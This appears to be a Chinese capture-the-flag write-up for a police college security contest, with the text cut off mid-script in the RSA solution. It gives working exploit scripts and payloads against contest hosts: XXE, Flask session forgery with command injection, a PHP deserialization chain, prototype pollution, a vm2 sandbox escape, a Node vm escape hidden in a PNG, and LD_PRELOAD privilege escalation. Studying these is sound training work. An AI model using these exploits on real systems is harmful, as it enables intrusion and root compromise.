浙江警察学院第九届信息网络安全竞赛决赛-wp
上班摸鱼-写😀
正版wp以官方为主-比赛题目在【ctfplus】可复现
login.php XXE
概要
这题的核心是 login.php 对用户提交的 XML 直接启用了外部实体解析,形成 XXE。利用外部实体读取 /flag,再借助错误分支中的 $username.$username 回显,即可直接拿到 flag。
解题过程
Step 1: 确认 XXE 注入点
附件 login.php 的关键代码如下:
libxml_disable_entity_loader(false);
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
这里有两个关键点:
libxml_disable_entity_loader(false)允许实体加载LIBXML_NOENT | LIBXML_DTDLOAD会解析外部实体
后续程序从 XML 中读取:
$username = $creds->username;
$password = $creds->password;
并进入分支:
if ($username != 'admin'){
$res = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username.$username);
}
因此只要让 username 变成 /flag 的文件内容,并保证它不等于 admin,响应里就会把 flag 拼接回显两次。
Step 2: 发送恶意 XML 并提取 flag
首页前端会向 /login.php 发送 application/xml,所以我们直接 POST 一份带外部实体的 XML:
import re
import urllib.request
URL = "http://80-7680e940-a0a7-44e4-96c2-3791d9762d2c.challenge.ctfplus.cn/login.php"
XML = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///flag">]>
<root><username>&xxe;</username><password>wrong</password></root>
""".encode()
def main():
req = urllib.request.Request(
URL,
data=XML,
headers={"Content-Type": "application/xml"},
method="POST",
)
body = urllib.request.urlopen(req).read().decode("utf-8", "ignore")
match = re.search(r"ZJPCTF\\{[^}]+\\}", body)
if not match:
raise SystemExit("flag not found")
print(match.group(0))
if __name__ == "__main__":
main()
运行结果:
ZJPCTF{bac914dd-8089-426e-afce-90bc0daa57a9}
Flag
ZJPCTF{bac914dd-8089-426e-afce-90bc0daa57a9}
addr — 我就ping一下怎么了
Summary
Flask Web 应用存在两个漏洞的组合利用:已知 secret_key 伪造 session cookie 绕过管理员认证,以及 IPv6 Zone ID 注入 穿越 ip_address() 校验实现任意命令执行,最终读取 /flag。
Solution
Step 1: 源码审计
访问容器地址,页面是一个 "系统管理控制台",提供 Ping 功能但提示"只有管理员可以使用此工具"。附件泄露了 app.py 源码,关键逻辑如下:
app.secret_key = 'secret_key_changed_in_container'
@app.route('/set_user_session', methods=['POST'])
def set_user_session():
username = request.form.get('username', '').strip()
if username.lower() == 'admin': # ← 小写比较,阻止 'admin'
flash("禁止操作:不允许设置 'admin' 用户名!")
return redirect(url_for('index'))
session['user'] = username
...
@app.route('/test', methods=['POST'])
def ping():
target = request.form.get('target', '')
current_user = session.get('user')
if current_user and current_user.upper() != 'ADMIN': # ← 大写比较
return render_template(...)
...
target = ip_address(target).compressed # ← 输入校验
command = f'ping {param} 4 {target}'
result = subprocess.run(command, shell=True, ...) # ← 命令注入点
漏洞点:
认证绕过:设置器用 .lower()阻止admin,但管理检查用.upper()判断ADMIN。然而直接通过表单无法设置ADMIN(因为'ADMIN'.lower() == 'admin'会被拦截)。但secret_key是硬编码的弱密钥,可以直接伪造 session cookie。命令注入: ip_address()校验后.compressed输出直接拼入shell=True的命令。而ip_address()接受带 Zone ID 的 IPv6 地址(如fe80::1%eth0),Zone ID 中的 shell 元字符会被保留。字符限制: ip_address()拒绝/和%,需要用 shell 变量(如$(echo $PATH|cut -c1))或cd ..绕过路径限制。
Step 2: 构造 Exploit
from itsdangerous import URLSafeTimedSerializer
import urllib.request, urllib.parse, re
# --- 1. 伪造管理员 Session Cookie ---
secret = 'secret_key_changed_in_container'
serializer = URLSafeTimedSerializer(
secret_key=secret,
salt='cookie-session', # Flask 默认 salt
signer_kwargs={'key_derivation': 'hmac'}
)
cookie = serializer.dumps({'user': 'ADMIN'})
base_url = 'http://5000-xxxxx.challenge.ctfplus.cn' # 替换为实际容器地址
# --- 2. IPv6 Zone ID 命令注入 ---
# ip_address("fe80::1%;cd ..;cat flag").compressed = "fe80::1%;cd ..;cat flag"
# 实际执行: ping -c 4 fe80::1%;cd ..;cat flag
# ping 失败 → 但 cat flag 成功输出
payload = "fe80::1%;cd ..;cat flag"
data = urllib.parse.urlencode({'target': payload}).encode()
req = urllib.request.Request(f'{base_url}/test', data=data, method='POST')
req.add_header('Cookie', f'session={cookie}')
req.add_header('Content-Type', 'application/x-www-form-urlencoded')
resp = urllib.request.urlopen(req, timeout=15)
html = resp.read().decode()
result = re.search(r'<pre>(.*?)</pre>', html, re.DOTALL)
print(result.group(1).strip() if result else "NO OUTPUT")
关键 Payload 选择:
fe80::1%;id | uid=0(root)) |
fe80::1%;cd ..;ls | flag 文件 |
fe80::1%;cd ..;cat flag |
/ 被 ip_address() 拒绝,所以用 cd .. 从 /app 回到 / 再 cat flag,避免在 payload 中使用斜杠。
Step 3: 获取 Flag
ZJPCTF{8e866207-e2a8-4a9e-b685-764dfa0d2efe}
Flag
ZJPCTF{8e866207-e2a8-4a9e-b685-764dfa0d2efe}
PHP POP 反序列化
<?php
highlight_file(__FILE__);
class yiyi{
public $Do;
public $You;
public $love;
public $web;
public function __invoke(){
echo "迈进新手村了,接下来往哪走呢"."<br>";
eval($this->web);
}
public function __wakeup(){
$this->web=$this->love;
}
public function __destruct(){
die($this->You->execurise=$this->Do);
}
}
class t0mcater{
private $execurise;
public $lead;
public $hansome;
public function __set($name,$value){
echo $this->lead;
}
public function __get($args){
if(is_readable("/flag")){
echo file_get_contents("/flag");
}
else{
echo "签到也不带这么签的啊"."<br>";
if ($this->execurise=="man!"){
echo "胜利就在眼前"."<br>";
if(isset($this->hansome->lover)){
phpinfo();
}
}
else{
echo($this->execurise);
echo "搞什么啊,别犯困"."<br>";
}
}
}
}
class jungle{
public $girl;
public $friend;
public function __toString(){
return "心中有信仰,脚下有力量"."<br>".$this->girl->abc;
}
public function __call($args1,$args2){
$func=$this->friend;
$func();
}
}
class ZJPC{
private $lover;
public $forever;
public function __isset($args){
return $this->forever->nononon();
}
}
$web=$_GET['web'];
if (isset($web)){
unserialize(base64_decode($web));
throw new Exception("None");
}else{
echo("你真的是学web的么");
}
?>
Warning: Undefined array key "web" in /var/www/html/index.php on line 75
你真的是学web的么
概要
这题首页直接泄露了 PHP 源码,核心漏洞是 unserialize(base64_decode($_GET['web']))。利用链是 yiyi::__destruct() -> t0mcater::__set() -> jungle::__toString() -> t0mcater::__get(),最终触发 file_get_contents("/flag") 读取 flag。
解题过程
Step 1: 确认可达 sink 与 POP 链
源码里最关键的 sink 在:
public function __get($args){
if(is_readable("/flag")){
echo file_get_contents("/flag");
}
}
可用链条如下:
yiyi::__destruct()会执行$this->You->execurise = $this->Do因为 t0mcater::$execurise是私有属性,类外赋值会触发t0mcater::__set()__set()中echo $this->lead,若lead是jungle对象,则触发jungle::__toString()__toString()中访问$this->girl->abc,若girl是另一个t0mcater对象,则触发t0mcater::__get()__get()直接读取/flag
这里有一个关键点:不需要额外构造 fast-destruct。因为题目代码是直接执行:
unserialize(base64_decode($web));
throw new Exception("None");
unserialize() 的返回值没有保存到变量中,所以临时对象会在该语句结束后立刻析构,__destruct() 会在 throw 之前触发。
Step 2: 构造 payload 并读取 flag
下面这份脚本直接向题目地址发送 payload,并从响应中提取 flag:
import re
import urllib.parse
import urllib.request
URL = "http://80-35170111-a30d-4449-b413-61d7e98c1656.challenge.ctfplus.cn/"
PAYLOAD = (
"Tzo0OiJ5aXlpIjo0OntzOjI6IkRvIjtzOjA6IiI7czozOiJZb3UiO086ODoidDBtY2F0ZXIiOjM6e3M6"
"MTk6IgB0MG1jYXRlcgBleGVjdXJpc2UiO047czo0OiJsZWFkIjtPOjY6Imp1bmdsZSI6Mjp7czo0OiJn"
"aXJsIjtPOjg6InQwbWNhdGVyIjozOntzOjE5OiIAdDBtY2F0ZXIAZXhlY3VyaXNlIjtOO3M6NDoibGVh"
"ZCI7TjtzOjc6ImhhbnNvbWUiO047fXM6NjoiZnJpZW5kIjtOO31zOjc6ImhhbnNvbWUiO047fXM6NDoi"
"bG92ZSI7TjtzOjM6IndlYiI7Tjt9"
)
def main():
query = urllib.parse.urlencode({"web": PAYLOAD})
response = urllib.request.urlopen(f"{URL}?{query}").read().decode("utf-8", "ignore")
match = re.search(r"ZJPCTF\\{[^}]+\\}", response)
if not match:
raise SystemExit("flag not found")
print(match.group(0))
if __name__ == "__main__":
main()
运行结果:
ZJPCTF{795f1ce7-fee9-4d43-a295-9ec386841b8d}
Flag
ZJPCTF{795f1ce7-fee9-4d43-a295-9ec386841b8d}
wal
Summary
题目给了一个空的 SQLite 数据库 archive.db 和一个加密 ZIP archive.zip。核心点是:ZIP 中的 vault.db 与外部 archive.db 完全一致,可以作为 ZipCrypto 已知明文,恢复内部 key 后解密 vault.db-wal,再从 WAL 第一帧的历史记录中异或出 flag。
Solution
Step 1: 确认已知明文
先查看压缩包:
unzip -l archive.zip
发现内部有:
vault.db
vault.db-wal
vault.db 的大小是 8192 字节,和题目外部给的 archive.db 一致。继续检查 CRC:
import zlib
print(hex(zlib.crc32(open("archive.db", "rb").read()) & 0xffffffff))
输出:
0xe98190e9
该 CRC 与 ZIP 中 vault.db 的 CRC 相同,因此 archive.db 就是 vault.db 的明文副本。ZIP 条目为 Store + ZipCrypto,可做已知明文攻击。
Step 2: 恢复 ZIP key 并解密 WAL
使用 bkcrack:
bkcrack -C archive.zip -c vault.db -p archive.db
恢复出的 key:
e582672f 6fd5d913 af611648
然后去掉 ZIP 密码保护:
bkcrack -C archive.zip -k e582672f 6fd5d913 af611648 -D unlocked.zip
解压 unlocked.zip 后得到 vault.db-wal。
Step 3: 从 WAL 第一帧恢复 flag
不要直接用 SQLite 打开数据库,否则可能触发 checkpoint,只看到最终状态。
vault.db-wal 的第一帧是 page 2,对应 SQLite table leaf page。表结构为:
CREATE TABLE t(
i INTEGER PRIMARY KEY,
a INTEGER NOT NULL,
b INTEGER NOT NULL
);
i 是 rowid alias,所以 payload 中第一列为 NULL 占位,真正的数据是 a 和 b。
解析第一帧中 42 条记录,按 rowid 排序后执行:
flag = bytes((a ^ b) & 0xff for _, a, b in rows).decode()
print(flag)
得到:
flag{a507a160-b294-4fee-a798-677445f07549}
Flag
flag{a507a160-b294-4fee-a798-677445f07549}
vm2
Summary
题目是一个 Node.js + Express 应用,存在两个漏洞:/changepassword 接口的递归 merge() 存在原型污染(过滤了 __proto__ 但未过滤 constructor.prototype),可用于提权获取管理员权限;管理员可访问 /sandbox 执行 vm2 沙箱代码,通过 Promise @@species getter 绕过 vm2 的 resetPromiseSpecies 补丁,结合栈溢出产生的宿主异常实现沙箱逃逸,最终读取 flag。
Solution
Step 1: 原型污染提权
/changepassword 的 merge() 函数递归合并用户输入到用户对象,仅过滤了 __proto__,未过滤 constructor 和 prototype。通过构造 constructor.prototype.isAdmin = true,污染 Object.prototype,使所有对象继承 isAdmin: true,绕过管理员权限校验。
import random, string, requests
BASE = "http://3000-4fd2b551-9d3d-4dc4-b122-a2cc5277b7b0.challenge.ctfplus.cn"
def rand(prefix):
return prefix + "_" + "".join(random.choice(string.ascii_lowercase) for _ in range(8))
s = requests.Session()
username, password = rand("u"), rand("p")
# 注册 & 登录
s.post(f"{BASE}/register", json={"username": username, "password": password})
s.post(f"{BASE}/login", json={"username": username, "password": password})
# 原型污染提权
s.post(f"{BASE}/changepassword", json={
"oldPassword": password,
"newPassword": password,
"confirmPassword": password,
"constructor": {"prototype": {"isAdmin": True}}
})
# 验证提权成功
print(s.get(f"{BASE}/me").json()) # {"username":"u_xxx","isAdmin":true}
print(s.get(f"{BASE}/admin").json()) # {"message":"欢迎管理员!"}
Step 2: vm2 沙箱逃逸
管理员接口 /sandbox 使用 vm2 执行用户代码。直接使用 CVE-2023-37466 的 Promise species payload 会被 vm2 3.9.19 的 resetPromiseSpecies 补丁拦截(在 then() 调用前将 species 重置为 localPromise)。
绕过思路:在 Promise 实例上用 Object.defineProperty 定义 constructor 的 getter,利用访问次数差实现"检查时返回安全值,使用时返回恶意值":
第 1 次访问( resetPromiseSpecies检查)→ 返回{ [Symbol.species]: Promise },通过安全检查第 2 次访问(宿主 Promise.prototype.then内部读取 species)→ 返回恶意EvilPromise类
EvilPromise 构造器接收宿主 Promise 的 executor(resolve, reject) 回调。通过递归 new Error().stack 触发宿主级别的栈溢出 RangeError,该异常未经 ensureThis 清洗直接传入 reject 回调,通过 err.constructor.constructor("return process")() 获取宿主 process 对象,进而读取文件系统。
# 续 Step 1 的 session
sandbox_url = f"{BASE}/sandbox"
code = r'''
let count = 0;
async function fn() {
(function stack() {
new Error().stack;
stack();
})();
}
let p = fn();
Object.defineProperty(p, 'constructor', {
get: function() {
count++;
if (count <= 1) {
return { [Symbol.species]: Promise };
} else {
return {
[Symbol.species]: class EvilPromise {
constructor(executor) {
executor(
x => x,
err => {
try {
const process = err.constructor.constructor("return process")();
const fs = process.mainModule.require("fs");
__result.value = fs.readFileSync("/flag", "utf8");
} catch(e) {
__result.value = "ERR: " + e.message;
}
}
);
}
}
};
}
},
configurable: true
});
p.then();
"ok"
'''
r = s.post(sandbox_url, json={"code": code}, timeout=30)
print(r.json())
关键原理:
vm2 的 resetPromiseSpecies仅检查p.constructor[Symbol.species]是否为globalPromise或localPromise,getter 在首次访问时返回安全值绕过检查宿主 Promise.prototype.then内部再次读取this.constructor[Symbol.species]时,getter 返回恶意类栈溢出异常由 V8 引擎产生(宿主级别),不经过 vm2 的 ensureThis清洗EvilPromise构造器中executor的reject回调直接接收未清洗的宿主 Error 对象
Flag
ZJPCTF{64f14f47-1c73-4edb-9673-53312826e7ca}
BackDoor
Summary
通过发送伪造的以太网 ARP 帧触发隐藏后门获得命令执行,再利用 sslh-restart 脚本 source 世界可写的 /etc/default/sslh 注入 LD_PRELOAD,以 root 权限加载恶意共享库读取 flag。
Solution
Step 1: 发现协议格式
连接 nc nc1.ctfplus.cn 23290 后服务端返回 ARP backdoor online.,之后等待输入并返回 not match。
通过尝试发现:发送一个完整的以太网 ARP 帧(14 字节以太网头 + 28 字节 ARP 包 = 42 字节)后,服务端返回:
valid arp frame. command format: CMD:<command>
之后可通过 CMD:<command> 格式执行 shell 命令。
关键点:ARP 帧和 CMD 命令必须在同一次 send() 中一起发送,分两次发送会导致命令不执行。
Step 2: 命令执行与信息收集
import socket, struct, time
def run_cmd(cmd):
dst = b'\xff\xff\xff\xff\xff\xff'
src = b'\xaa\xbb\xcc\xdd\xee\xff'
et = b'\x08\x06'
arp = struct.pack('!HHBBH6s4s6s4s',
1, 0x0800, 6, 4, 1,
src, b'\x0a\x00\x00\x01',
b'\x00\x00\x00\x00\x00\x00', b'\x0a\x00\x00\x02'
)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(8)
s.connect(('nc1.ctfplus.cn', 23290))
s.recv(1024)
s.send(dst + src + et + arp + f'CMD:{cmd}'.encode())
time.sleep(2)
result = b''
while True:
try:
chunk = s.recv(4096)
if not chunk: break
result += chunk
except: break
s.close()
return result.decode(errors='replace').strip()
print(run_cmd("id")) # uid=1000(user)
print(run_cmd("sudo -l")) # (root) NOPASSWD: /usr/local/bin/sslh-restart
print(run_cmd("ls -la /")) # -r-------- root root /flag01.txt
print(run_cmd("cat /usr/local/bin/sslh-restart"))
关键发现:
/flag01.txt仅 root 可读(权限-r--------)sudo -l允许无密码运行/usr/local/bin/sslh-restartsslh-restart会. /etc/default/sslh(source),且该文件世界可写(-rw-rw-rw-)source 后会 export LD_PRELOAD,然后以 root 启动 sslh
Step 3: LD_PRELOAD 提权
在远程机器上(有 gcc)编译恶意 .so,通过 LD_PRELOAD 注入以 root 加载:
import base64
# 恶意 .so:constructor 在加载时自动执行,读 flag 写到 /tmp
c_code = '#include<stdio.h>\n#include<fcntl.h>\n#include<unistd.h>\n__attribute__((constructor))void x(){int fd=open("/flag01.txt",O_RDONLY);if(fd<0)_exit(1);char b[512];int n=read(fd,b,sizeof(b)-1);close(fd);if(n<=0)_exit(1);b[n]=0;int w=open("/tmp/flag.txt",O_WRONLY|O_CREAT|O_TRUNC,0644);if(w>=0){write(w,b,n);close(w);}_exit(0);}'
# 分块写入(命令长度限制约 96 字节)
b64 = base64.b64encode(c_code.encode()).decode()
run_cmd("> /tmp/b64.txt")
for i in range(0, len(b64), 80):
run_cmd(f"echo -n '{b64[i:i+80]}' >> /tmp/b64.txt")
run_cmd("base64 -d /tmp/b64.txt > /tmp/evil.c")
run_cmd("gcc -shared -fPIC -o /tmp/evil.so /tmp/evil.c")
# 注入 LD_PRELOAD 到 /etc/default/sslh
run_cmd('> /etc/default/sslh')
run_cmd('echo "LD_PRELOAD=/tmp/evil.so" >> /etc/default/sslh')
run_cmd('echo "DAEMON=/usr/sbin/sslh" >> /etc/default/sslh')
run_cmd('echo "DAEMON_OPTS=\\"--user root --listen 0.0.0.0:8443\\"" >> /etc/default/sslh')
# 触发提权
run_cmd("sudo /usr/local/bin/sslh-restart")
# 读 flag
print(run_cmd("cat /tmp/flag.txt"))
提权原理:
sudo sslh-restart以 root 运行脚本 source 世界可写的 /etc/default/sslh,其中LD_PRELOAD=/tmp/evil.so生效sslh 作为 root 进程启动,加载 evil.so.so的__attribute__((constructor))函数以 root 身份执行,读取/flag01.txt并写入/tmp/flag.txt
Flag
flag{6dc68b8c-6f28-409c-bc90-fdcb14effeba}
vlsbm
Summary
一道基于 PNG LSB 隐写 + Node.js vm 沙箱逃逸的 Web 题目。服务端从上传的 PNG 图片中通过 LSB 提取隐藏的 JavaScript 代码,再用 vm.runInContext() 执行并返回 result.abc。利用 Proxy 的 get trap 可以在宿主上下文中触发回调,通过 arguments.callee.caller 链逃逸沙箱,获取 process 对象并执行系统命令读取 flag。
Solution
Step 1: 分析目标服务
访问靶机首页,看到一个 PNG 上传表单。上传普通 PNG 后,页面返回 result 区域,显示从图片 LSB 通道提取的 JS 执行结果(仅展示 result.abc 属性)。
服务端逻辑:
读取 PNG 像素的 RGB 通道最低位,按 bit 拼接字节,遇到 \x00结束,提取出 JS 脚本在 vm.createContext()创建的沙箱中执行vm.runInContext(script, sandbox)在宿主环境执行 renderForConsole(result),读取返回值的.abc属性
漏洞核心:vm 模块不是安全沙箱。宿主代码读取 VM 返回值的属性时,如果返回值是一个 Proxy,其 get trap 会在宿主上下文中执行,从而逃逸沙箱。
Step 2: 构造恶意 PNG
将以下 payload 通过 LSB 编码写入 PNG:
import struct, zlib, math
payload = r'''new Proxy({},{get:function(){
const F=arguments.callee.caller.constructor.constructor;
const p=F("return process")();
const req=p.mainModule.require.bind(p.mainModule);
return req("child_process").execSync("cat /flag* 2>/dev/null || cat ./flag* 2>/dev/null || env",{encoding:"utf8"});
}})'''
data = (payload + "\x00").encode()
bits = []
for b in data:
for i in range(7, -1, -1):
bits.append((b >> i) & 1)
pixels = math.ceil(len(bits) / 3)
w = 128
h = math.ceil(pixels / w)
bit_i = 0
raw = bytearray()
for y in range(h):
raw.append(0)
for x in range(w):
rgb = []
for _ in range(3):
bit = bits[bit_i] if bit_i < len(bits) else 0
bit_i += 1
rgb.append(bit)
raw.extend([rgb[0], rgb[1], rgb[2], 255])
def chunk(t, d):
return (struct.pack(">I", len(d)) + t + d +
struct.pack(">I", zlib.crc32(t + d) & 0xffffffff))
png = (b"\x89PNG\r\n\x1a\n" +
chunk(b"IHDR", struct.pack(">IIBBBBB", w, h, 8, 6, 0, 0, 0)) +
chunk(b"IDAT", zlib.compress(bytes(raw), 9)) +
chunk(b"IEND", b""))
open("exploit.png", "wb").write(png)
Step 3: 上传并获取 Flag
python3 make_png.py
curl -s -F "image=@exploit.png;type=image/png" http://TARGET/upload
服务端执行 payload 后,result.abc 的值即为 cat /flag* 的输出,直接返回在页面 <pre> 标签中。
Payload 执行原理:
new Proxy({}, {get: ...})— 返回一个 Proxy 对象作为 VM 的执行结果宿主代码读取 .abc时触发gettraparguments.callee.caller拿到宿主renderForConsole函数.constructor.constructor拿到宿主Function构造器F("return process")()获取process对象通过 process.mainModule.require调用child_process.execSync执行系统命令
Flag
flag{ba1621d4-1e45-492b-930b-74e62c1a77b5}
signin_chal.exe
概要
这题是一个 64 位 Windows PE。实际分析后发现没有必要深入控制流,flag 明文直接放在 .rdata 段里,因此用静态字符串提取就能拿到答案。
解题过程
Step 1: 快速静态检查
对附件做基础侦察后,可以得到几个关键信息:
64 位 PE,可执行文件 非 .NET 程序 导入表很少,只有 KERNEL32.dll和msvcrt.dll未发现复杂壳特征,但存在一个超大的异常节 .ry+
随后直接扫描可打印字符串,很快命中唯一的 flag 样式文本:
ZJPCTF{e127d85c-fdf4-4e57-9b6d-29a9b261cbfb}
进一步定位发现:
该字符串位于文件原始偏移 0x2400正好落在 .rdata段起始位置周边是普通只读数据,没有额外混淆
这说明这题至少在拿 flag 这一层,不需要动态调试。
Step 2: 直接提取 flag
下面的脚本从二进制中搜索 ZJPCTF{...} 并直接打印:
import re
from pathlib import Path
def main():
data = Path("signin_chal.exe").read_bytes()
match = re.search(rb"ZJPCTF\\{[^}]+\\}", data)
if not match:
raise SystemExit("flag not found")
print(match.group(0).decode())
if __name__ == "__main__":
main()
运行结果:
ZJPCTF{e127d85c-fdf4-4e57-9b6d-29a9b261cbfb}
Flag
ZJPCTF{e127d85c-fdf4-4e57-9b6d-29a9b261cbfb}
smc
概要
这题是一个带有自修改代码(SMC, self-modifying code)的 ELF 程序,运行时会先用 RC4 解密若干受保护函数。虽然外层做了代码加密,但真正的校验逻辑并不复杂:输入会经过三次查表替换,中间伴随两次基于 rand() 的固定洗牌,最后与 .rodata 中的 44 字节常量做比较。
解题过程
Step 1: 还原受保护代码逻辑
程序是一个 64 位、未 strip 的 ELF,符号和节名都还在,分析入口比较直接。二进制中存在四个加密代码节:
enc_main_secenc_change_secenc_shift_secenc_mirror_sec
辅助函数 decrypt_range() 的工作流程是:
用 mprotect将对应代码页改为RWX使用 RC4 解密该代码段 执行对应受保护函数 再将页面权限恢复为 RX
RC4 的密钥明文保存在 .rodata 中:
ez_smc_rc4_key!
把四个加密节静态解密后,可以得到真实逻辑:
protected_main()使用scanf("%44s", buf)读入输入protected_change(buf)执行:mirror(buf) -> shift() -> mirror(buf) -> shift() -> mirror(buf)最终通过 memcmp(buf, target, 44)与目标常量比较
其中:
mirror()会把每个输入字节替换为table[byte]table位于.data:0x404080,内容正好是 AES S-boxshift()会对这张 256 字节表做一次 Fisher-Yates 洗牌程序中没有调用 srand(),因此rand()序列固定,洗牌结果完全可复现
Step 2: 逆向恢复原始输入
由于最终比较的目标字节序列直接存放在 .rodata 中,而两次 shift() 都由固定的 rand() 序列决定,我们只需要:
从附件中提取初始 S-box 用 glibc 默认种子 1重放两次洗牌分别构造三张表的逆映射 按 inv(T2) -> inv(T1) -> inv(T0)的顺序把目标常量逆回去
下面这份脚本从附件 smc 直接恢复 flag:
from pathlib import Path
TARGET_RAW_OFFSET = 0x2020
TARGET_LEN = 44
SBOX_RAW_OFFSET = 0x3080
SBOX_LEN = 256
def glibc_rand_stream(seed: int = 1):
state = [0] * 344
state[0] = seed
for i in range(1, 31):
state[i] = (16807 * state[i - 1]) % 2147483647
for i in range(31, 34):
state[i] = state[i - 31]
for i in range(34, 344):
state[i] = (state[i - 31] + state[i - 3]) & 0xFFFFFFFF
idx = 344
while True:
state.append((state[idx - 31] + state[idx - 3]) & 0xFFFFFFFF)
yield state[idx] >> 1
idx += 1
def shift_table(table: list[int], rand_iter):
table = table[:]
for i in range(255, 0, -1):
j = next(rand_iter) % (i + 1)
table[i], table[j] = table[j], table[i]
return table
def inverse_table(table: list[int]):
inv = [0] * 256
for i, value in enumerate(table):
inv[value] = i
return inv
def main():
blob = Path("smc").read_bytes()
target = blob[TARGET_RAW_OFFSET:TARGET_RAW_OFFSET + TARGET_LEN]
sbox0 = list(blob[SBOX_RAW_OFFSET:SBOX_RAW_OFFSET + SBOX_LEN])
rand_iter = glibc_rand_stream(1)
sbox1 = shift_table(sbox0, rand_iter)
sbox2 = shift_table(sbox1, rand_iter)
inv2 = inverse_table(sbox2)
inv1 = inverse_table(sbox1)
inv0 = inverse_table(sbox0)
stage2 = bytes(inv2[b] for b in target)
stage1 = bytes(inv1[b] for b in stage2)
flag = bytes(inv0[b] for b in stage1)
print(flag.decode())
if __name__ == "__main__":
main()
运行结果:
ZJPCTF{5c64736c-1c58-44dc-9c5d-88f7e3f8cac3}
Flag
ZJPCTF{5c64736c-1c58-44dc-9c5d-88f7e3f8cac3}
ezAES
Summary
题目脚本直接把 ciphertext、iv、key 都打印出来了,所以不需要爆破,也不需要攻击 AES,本质上就是一次标准的 AES-CBC 解密。
Solution
Step 1: 读取脚本里打印出的参数并直接解密
附件末尾的三引号里已经给了 c、iv、key。把它们解析出来后直接 AES-CBC 解密,再去掉末尾的 \x00 填充即可。
import ast
import re
from pathlib import Path
from Crypto.Cipher import AES
text = Path("task (8).py").read_text(encoding="utf-8")
block = re.findall(r"'''(.*?)'''", text, re.S)[-1]
vals = [ast.literal_eval(line.strip()) for line in block.strip().splitlines()]
ciphertext, iv, key = vals
flag = AES.new(key, AES.MODE_CBC, iv).decrypt(ciphertext).rstrip(b"\x00")
print(flag.decode())
Flag
ZJPCTF{3c49a538-5af2-477f-b40b-0066be19132e}
网络迷踪
Summary
题目给出一个 Android 风格的 WebDefenderClient、配置文件、数据库和加密日志。 核心思路是逆向日志加密函数,发现日志使用 config.ini 中的 log_key 作为密钥,经过 TEA 变种加密后输出为十六进制;解密日志即可看到访问 /flag 时的响应体。
Solution
Step 1: 分析日志加密方式
根据 README.md,本题目标是解密日志文件并找到 flag。
配置文件中存在关键字段:
"log_key": "c2M1Z2R3ZnMzcC1z"
逆向 WebDefenderClient 的日志模块后,可以定位到:
turn_log_message_to_hex()
log_mask()
build_tk()
加密流程如下:
将明文日志按字节处理; 使用 PKCS#7 风格补齐到 8 字节倍数; 每 8 字节分成两个大端 32 位整数; 使用 32 轮 TEA 变种加密; delta = 0x5a827999;key 直接使用字符串 "c2M1Z2R3ZnMzcC1z",不是 Base64 解码后的结果;最后将密文转为 hex 写入日志。
因此只需要写出对应的逆运算即可恢复日志明文。
import re
import json
from pathlib import Path
CONFIG_PATH = "config.ini"
LOG_PATH = "2026-05-29-20-54-08.log"
DELTA = 0x5A827999
ROUNDS = 32
def u32(x):
return x & 0xffffffff
def build_key(key_str: str):
"""
程序直接使用 config.ini 中的 log_key 字符串本身。
取前 16 字节,不足则补 0,然后按大端拆成 4 个 uint32。
"""
raw = key_str.encode()[:16].ljust(16, b"\x00")
return [
int.from_bytes(raw[0:4], "big"),
int.from_bytes(raw[4:8], "big"),
int.from_bytes(raw[8:12], "big"),
int.from_bytes(raw[12:16], "big"),
]
def decrypt_block(block: bytes, key):
v0 = int.from_bytes(block[0:4], "big")
v1 = int.from_bytes(block[4:8], "big")
s = u32(DELTA * ROUNDS)
for _ in range(ROUNDS):
v1 = u32(
v1 - (
u32((v0 << 4) + key[2])
^ u32(v0 + s)
^ u32((v0 >> 5) + key[3])
)
)
v0 = u32(
v0 - (
u32((v1 << 4) + key[0])
^ u32(v1 + s)
^ u32((v1 >> 5) + key[1])
)
)
s = u32(s - DELTA)
return v0.to_bytes(4, "big") + v1.to_bytes(4, "big")
def decrypt_hex_line(hex_text: str, key):
data = bytes.fromhex(hex_text)
plain = b"".join(
decrypt_block(data[i:i + 8], key)
for i in range(0, len(data), 8)
)
# 去除 8 字节块加密前的 padding
pad = plain[-1]
if 1 <= pad <= 8 and plain.endswith(bytes([pad]) * pad):
plain = plain[:-pad]
return plain.decode("utf-8", errors="ignore")
def main():
config = json.loads(Path(CONFIG_PATH).read_text(encoding="utf-8"))
key = build_key(config["log_key"])
flag_re = re.compile(r"ZJPCTF\{[^}]+\}")
for line in Path(LOG_PATH).read_text(encoding="utf-8").splitlines():
m = re.search(r"([0-9a-fA-F]+)$", line)
if not m:
continue
plaintext = decrypt_hex_line(m.group(1), key)
flag = flag_re.search(plaintext)
if flag:
print(plaintext)
print()
print("FLAG =", flag.group(0))
return
print("flag not found")
if __name__ == "__main__":
main()
运行脚本后可以看到关键日志:
[TLS] NOT tls. conn: 172.16.1.15:43088 -> 172.28.20.72:8000 method: GET URI: /flag
[HTTP Response Body] {"content": "ZJPCTF{3b102afc-c02e-4bf5-9b65-da60026b0737}"}
脚本最终输出:
FLAG = ZJPCTF{3b102afc-c02e-4bf5-9b65-da60026b0737}
Step 2: 验证
解密出的日志中,客户端访问了服务端的 /flag 路径:
GET URI: /flag
紧接着的 HTTP 响应体中直接包含 flag:
{"content": "ZJPCTF{3b102afc-c02e-4bf5-9b65-da60026b0737}"}
因此该字符串就是最终答案。
Flag
ZJPCTF{3b102afc-c02e-4bf5-9b65-da60026b0737}
easy_RSA
Summary
这题不是普通 RSA 分解,而是特殊素数构造。p + 1 由大量很小的素数相乘得到,所以适合用 Williams p+1 分解先把 p 从 n 中拆出来。
Solution
Step 1: 利用 p + 1 光滑性分解出 p
附件中的 getprime(505) 实际上是在反复乘小素数,直到 n - 1 成为素数,因此 p + 1 非常光滑。
这正好命中 Williams p+1 分解。
Step 2: 由 d = inverse(q^2, p^2) 恢复 q,再开平方得到明文
题目给出:
d = inverse(q^2, p^2)
所以可以先求出:
q^2 = inverse(d, p^2) mod p^2
对模 p^2 开平方,枚举根并检查谁能整除 n / p,即可恢复 q。
最后由 cipher = c^e mod n 且 c = m^2 mod r,先在模 r 下去掉 RSA 指数,再对 c 开平方,还原 m。
import re
from math import gcd, log2
from pathlib import Path
from sympy import isprime, primerange, sqrt_mod
def long_to_bytes(x):
x = int(x)
return x.to_bytes((x.bit_length() + 7) // 8, "big")
def V_k(x, k, mod):
if k == 0:
return 2 % mod
if k == 1:
return x % mod
a, b = 2 % mod, x % mod
for _ in range(2, k + 1):
a, b = b, (x * b - a) % mod
